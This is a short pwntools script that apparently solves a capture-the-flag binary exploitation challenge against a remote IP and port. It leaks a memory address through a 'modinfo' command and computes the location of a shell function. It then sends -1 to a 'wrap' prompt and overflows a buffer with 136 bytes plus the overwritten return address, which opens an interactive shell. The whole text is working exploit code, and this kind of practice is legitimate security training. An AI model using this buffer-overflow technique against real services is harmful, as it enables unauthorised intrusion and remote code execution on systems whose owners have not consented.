text: from pwn import *
  
  
  # host = "localhost"
  # port = "12345"
  
  host = "35.198.185.193"
  port = "1338"
  
  
  offset = 136
  shell_offset = 0x9d3
  
  io = remote(host, port)
  io.recvuntil('> ')
  io.send("modinfo\n")
  
  addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) + shell_offset
  
  
  io.send("wrap\n")
  io.recvuntil('|> ')
  io.send('-1\n')
  
  io.recvuntil('|> ')
  io.send("A" * offset + p64(addr) + "\n")
  
  io.interactive()
  io.close()
  